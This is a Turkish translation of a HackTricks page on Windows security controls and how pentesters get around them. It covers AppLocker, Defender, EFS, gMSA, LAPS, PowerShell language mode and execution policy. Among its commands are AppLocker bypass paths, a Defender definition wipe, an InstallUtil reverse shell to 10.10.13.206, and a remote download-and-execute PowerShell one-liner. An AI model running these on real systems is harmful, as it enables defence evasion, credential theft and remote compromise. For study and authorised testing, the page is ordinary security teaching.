hacktricks/windows-hardening/authentication-credentials-uac-and-efs
2024-04-07 03:13:19 +00:00
..
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 03:13:19 +00:00
uac-user-account-control.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 03:13:19 +00:00

Windows Güvenlik Kontrolleri

AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturmak ve otomatikleştirmek için Trickest'i kullanın.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

AppLocker Politikası

Uygulama beyaz listesi, bir sisteme var olmalarına ve çalıştırılmalarına izin verilen onaylanmış yazılım uygulamalarının veya yürütülebilir dosyaların bir listesidir. Amaç, zararlı kötü amaçlı yazılımlardan ve organizasyonun belirli iş gereksinimleriyle uyumlu olmayan onaylanmamış yazılımlardan çevreyi korumaktır.

AppLocker, Microsoft'un uygulama beyaz listeleme çözümüdür ve sistem yöneticilerine kullanıcıların hangi uygulamaları ve dosyaları çalıştırabileceği üzerinde kontrol sağlar. Yürütülebilir dosyalar, betikler, Windows yükleyici dosyaları, DLL'ler, paketlenmiş uygulamalar ve paketlenmiş uygulama yükleyicileri üzerinde ayrıntılı kontrol sağlar.
Organizasyonların genellikle cmd.exe ve PowerShell.exe'yi engellediği ve belirli dizinlere yazma erişimini engellediği ancak bunların hepsinin atlatılabileceği yaygındır.

Kontrol

Hangi dosyalar/uzantıların karalistede/beyazlistede olduğunu kontrol edin:

Get-ApplockerPolicy -Effective -xml

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$a = Get-ApplockerPolicy -effective
$a.rulecollections

Bu kayıt defteri yolu, AppLocker tarafından uygulanan yapılandırmaları ve politikaları içerir ve sistemde uygulanan mevcut kural setini incelemek için bir yol sağlar:

  • HKLM\Software\Policies\Microsoft\Windows\SrpV2

Atlatma

  • AppLocker Politikasını atlatmak için kullanışlı Yazılabilir klasörler: Eğer AppLocker, C:\Windows\System32 veya C:\Windows içinde herhangi bir şeyi çalıştırmaya izin veriyorsa, bu durumu atlatmak için kullanabileceğiniz yazılabilir klasörler bulunmaktadır.
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
  • Genellikle güvenilir "LOLBAS's" ikili dosyaları, AppLocker'ı atlamak için de kullanışlı olabilir.
  • Kötü yazılmış kurallar da atlanabilir
  • Örneğin, <FilePathCondition Path="%OSDRIVE%*\allowed*"/>, herhangi bir yerde allowed adında bir klasör oluşturabilir ve izin verilecektir.
  • Kuruluşlar genellikle %System32%\WindowsPowerShell\v1.0\powershell.exe yürütülebilir dosyasını engellemeye odaklanırken, diğer PowerShell yürütülebilir dosya konumlarını unuturlar, örneğin %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe veya PowerShell_ISE.exe.
  • DLL uygulaması çok nadiren etkinleştirilir çünkü sisteme ek yük getirebilir ve hiçbir şeyin bozulmayacağını sağlamak için gereken test miktarı. Bu nedenle DLL'leri arka kapı olarak kullanmak, AppLocker'ı atlamaya yardımcı olacaktır.
  • ReflectivePick veya SharpPick kullanarak Powershell kodunu herhangi bir işlemde yürütebilir ve AppLocker'ı atlayabilirsiniz. Daha fazla bilgi için şuraya bakın: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.

Kimlik Bilgileri Depolama

Güvenlik Hesap Yöneticisi (SAM)

Yerel kimlik bilgileri bu dosyada bulunur, şifreler karmalanmıştır.

Yerel Güvenlik Otoritesi (LSA) - LSASS

Kimlik bilgileri (karmalanmış) bu alt sistemin belleğinde saklanır Tek Oturum Açma nedenleri için.
LSA, yerel güvenlik politikasını (şifre politikası, kullanıcı izinleri...), kimlik doğrulama, erişim belirteçleri yönetir...
LSA, yerel bir oturum açma için sunulan kimlik bilgilerini kontrol edecek ve etki alanı kullanıcısını doğrulamak için SAM dosyası içindeki kimlik bilgileriyle iletişim kuracak olan kişi olacaktır.

Kimlik bilgileri, LSASS işlemi içinde saklanır: Kerberos biletleri, NT ve LM karmaları, kolayca şifrelenmiş şifreler.

LSA sırları

LSA, diske bazı kimlik bilgilerini kaydedebilir:

  • Erişilemeyen etki alanı denetleyicisinin bilgisayar hesabının şifresi.
  • Windows hizmetlerinin hesaplarının şifreleri
  • Zamanlanmış görevler için şifreler
  • Daha fazlası (IIS uygulamalarının şifresi...)

NTDS.dit

Bu, Etki Alanı Denetleyicilerinde bulunan Active Directory veritabanıdır.

Defender

Microsoft Defender, Windows 10 ve Windows 11'de ve Windows Server sürümlerinde bulunan bir Antivirüstür. WinPEAS gibi yaygın pentesting araçlarını engeller. Bununla birlikte, bu korumaları atlamak için yollar vardır.

Kontrol

Defender'ın durumunu kontrol etmek için PS cmdlet Get-MpComputerStatus'u çalıştırabilirsiniz (RealTimeProtectionEnabled değerini kontrol etmek için):

PS C:\> Get-MpComputerStatus

[...]
AntispywareEnabled              : True
AntispywareSignatureAge         : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion     : 1.323.392.0
AntivirusEnabled                : True
[...]
NISEnabled                      : False
NISEngineVersion                : 0.0.0.0
[...]
RealTimeProtectionEnabled       : True
RealTimeScanDirection           : 0
PSComputerName                  :

Ayrıca şunu çalıştırarak sıralayabilirsiniz:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend

#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Şifrelenmiş Dosya Sistemi (EFS)

EFS, dosyaları şifreleyerek güvenli hale getirir ve Dosya Şifreleme Anahtarı (FEK) olarak bilinen bir simetrik anahtar kullanır. Bu anahtar, kullanıcının genel anahtarı ile şifrelenir ve şifreli dosyanın $EFS alternatif veri akışı içinde saklanır. Şifre çözme gerektiğinde, kullanıcının dijital sertifikasının karşılık gelen özel anahtarı kullanılarak FEK $EFS akışından çözülür. Daha fazla ayrıntıya buradan ulaşılabilir.

Kullanıcı başlatmadan şifre çözme senaryoları şunları içerir:

  • Dosyalar veya klasörler FAT32 gibi EFS olmayan bir dosya sistemine taşındığında otomatik olarak şifrelenirler.
  • SMB/CIFS protokolü aracılığıyla ağ üzerinden gönderilen şifreli dosyalar, iletim öncesinde şifrelenir.

Bu şifreleme yöntemi, sahibin şifreli dosyalara şeffaf erişim sağlar. Ancak, sadece sahibin şifresini değiştirmek ve oturum açmak, şifre çözümüne izin vermeyecektir.

Anahtar Noktalar:

  • EFS, kullanıcının genel anahtarı ile şifrelenmiş simetrik bir FEK kullanır.
  • Şifre çözme, FEK'e erişmek için kullanıcının özel anahtarını kullanır.
  • Kopyalama işlemi FAT32'ye veya ağ iletimine gibi belirli koşullar altında otomatik şifre çözme gerçekleşir.
  • Şifreli dosyalara sahip olan sahibe ek adımlar olmadan erişilebilir.

EFS Bilgilerini Kontrol Etme

Bu hizmeti kullanan bir kullanıcının bu yolu kullandığını kontrol etmek için bu yolun varlığını kontrol et:C:\users\<kullanıcıadı>\appdata\roaming\Microsoft\Protect

Dosyaya kimin erişimi olduğunu kontrol etmek için şu komutu kullanabilirsiniz: cipher /c \<dosya>\ Ayrıca tüm dosyaları **şifrelemek** ve **şifre çözmek** için bir klasör içinde cipher /evecipher /d` kullanabilirsiniz.

EFS Dosyalarını Şifre Çözme

Yetkili Sistem Olmak

Bu yöntem, kurban kullanıcının ana makinede bir işlem çalıştırıyor olmasını gerektirir. Bu durumda, meterpreter oturumları kullanarak kullanıcının işlem token'ını taklit edebilirsiniz (incognito'dan impersonate_token). Veya sadece kullanıcının işlemine migrate olabilirsiniz.

Kullanıcının şifresini bilmek

{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}

Grup Yönetilen Hizmet Hesapları (gMSA)

Microsoft, IT altyapılarında hizmet hesaplarının yönetimini basitleştirmek için Grup Yönetilen Hizmet Hesapları (gMSA) geliştirmiştir. Sıklıkla "Şifre asla süresi dolmaz" ayarının etkin olduğu geleneksel hizmet hesaplarının aksine, gMSA'lar daha güvenli ve yönetilebilir bir çözüm sunar:

  • Otomatik Şifre Yönetimi: gMSA'lar, otomatik olarak alan veya bilgisayar politikasına göre değişen karmaşık, 240 karakterlik bir şifre kullanır. Bu süreç, Microsoft'un Anahtar Dağıtım Hizmeti (KDC) tarafından yönetilir ve manuel şifre güncellemelerine gerek kalmaz.
  • Geliştirilmiş Güvenlik: Bu hesaplar kilitlenmeye karşı bağışıklıktır ve etkileşimli oturum açmalar için kullanılamaz, güvenliklerini artırır.
  • Çoklu Ana Bilgisayar Desteği: gMSA'lar birden fazla ana bilgisayarda paylaşılabilir, bu da birden çok sunucuda çalışan hizmetler için idealdir.
  • Zamanlanmış Görev Yeteneği: Yönetilen hizmet hesaplarının aksine, gMSA'lar zamanlanmış görevleri çalıştırmayı destekler.
  • Basitleştirilmiş SPN Yönetimi: Sistem, bilgisayarın sAMaccount ayrıntıları veya DNS adı değiştiğinde Servis İlkeleri Adı'nı (SPN) otomatik olarak günceller, SPN yönetimini basitleştirir.

gMSA'ların şifreleri msDS-ManagedPassword LDAP özelliğinde depolanır ve her 30 günde bir Alan Denetleyicileri (DC'ler) tarafından otomatik olarak sıfırlanır. Bu şifre, MSDS-MANAGEDPASSWORD_BLOB olarak bilinen şifrelenmiş veri bloğudur ve yalnızca yetkili yöneticiler ve gMSA'ların kurulu olduğu sunucular tarafından alınabilir, böylece güvenli bir ortam sağlanır. Bu bilgilere erişmek için, LDAPS gibi güvenli bir bağlantı gereklidir veya bağlantı 'Mühürleme ve Güvenli' ile kimlik doğrulamalıdır.

https://cube0x0.github.io/Relaying-for-gMSA/

Bu şifreyi GMSAPasswordReader: ile okuyabilirsiniz.

/GMSAPasswordReader --AccountName jkohler

Bu gönderide daha fazla bilgi bulun

Ayrıca, NTLM relay saldırısı gerçekleştirmek için gMSA'nın şifresini okumak için bu web sayfasını kontrol edin.

LAPS

Local Administrator Password Solution (LAPS), Microsoft'tan indirilebilen, yerel Yönetici şifrelerinin yönetimini sağlar. Bu rastgele, benzersiz ve düzenli olarak değiştirilen şifreler, Active Directory'de merkezi olarak depolanır. Bu şifrelere erişim, yetkilendirilmiş kullanıcılara ACL'ler aracılığıyla kısıtlanmıştır. Yeterli izinler verildiğinde, yerel yönetici şifrelerini okuma yeteneği sağlanır.

{% content-ref url="../active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}

PS Kısıtlanmış Dil Modu

PowerShell Kısıtlanmış Dil Modu, PowerShell'ı etkili bir şekilde kullanmak için gereken birçok özelliği kısıtlar, COM nesnelerini engeller, yalnızca onaylanmış .NET türlerine izin verir, XAML tabanlı iş akışları, PowerShell sınıfları ve daha fazlasına izin verir.

Kontrol Edin

$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

Atlatma

#Easy bypass
Powershell -version 2

Mevcut Windows sürümünde Bypass çalışmayabilir, ancak PSByPassCLM kullanabilirsiniz.
Derlemek için eklemeniz gerekebilir Referans -> Göz at -> Göz at -> C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll ekleyin ve projeyi .Net4.5'e değiştirin.

Doğrudan bypass:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

Ters kabuk:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe

PS Yürütme Politikası

Varsayılan olarak kısıtlayıcı olarak ayarlanmıştır. Bu politikayı atlatmanın temel yolları:

 Just copy and paste inside the interactive PS console
 Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
 Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
 Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
 Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
 Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
 Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
 Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
 Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

Daha fazlası burada

Güvenlik Destek Sağlayıcı Arayüzü (SSPI)

Kullanıcıların kimlik doğrulaması için kullanılan API'dir.

SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmakla görevlidir. Bunun için tercih edilen yöntem Kerberos'tur. Daha sonra SSPI, hangi kimlik doğrulama protokolünün kullanılacağını müzakere eder, bu kimlik doğrulama protokolleri Güvenlik Destek Sağlayıcı (SSP) olarak adlandırılır, her biri bir DLL olarak her Windows makinesinde bulunur ve iletişim kurabilmek için her iki makinenin de aynı desteği sağlaması gerekir.

Ana SSP'ler

  • Kerberos: Tercih edilen
  • %windir%\Windows\System32\kerberos.dll
  • NTLMv1 ve NTLMv2: Uyumluluk nedenleri
  • %windir%\Windows\System32\msv1_0.dll
  • Digest: Web sunucuları ve LDAP, MD5 karmaşık bir parola
  • %windir%\Windows\System32\Wdigest.dll
  • Schannel: SSL ve TLS
  • %windir%\Windows\System32\Schannel.dll
  • Negotiate: Kullanılacak protokolü müzakere etmek için kullanılır (Kerberos veya NTLM olmak üzere, Kerberos varsayılanıdır)
  • %windir%\Windows\System32\lsasrv.dll

Müzakere birkaç yöntem sunabilir veya sadece birini.

UAC - Kullanıcı Hesabı Denetimi

Kullanıcı Hesabı Denetimi (UAC) yükseltilmiş etkinlikler için bir izin istemi sağlayan bir özelliktir.

{% content-ref url="uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}


Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen otomatik iş akışları oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}


Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları: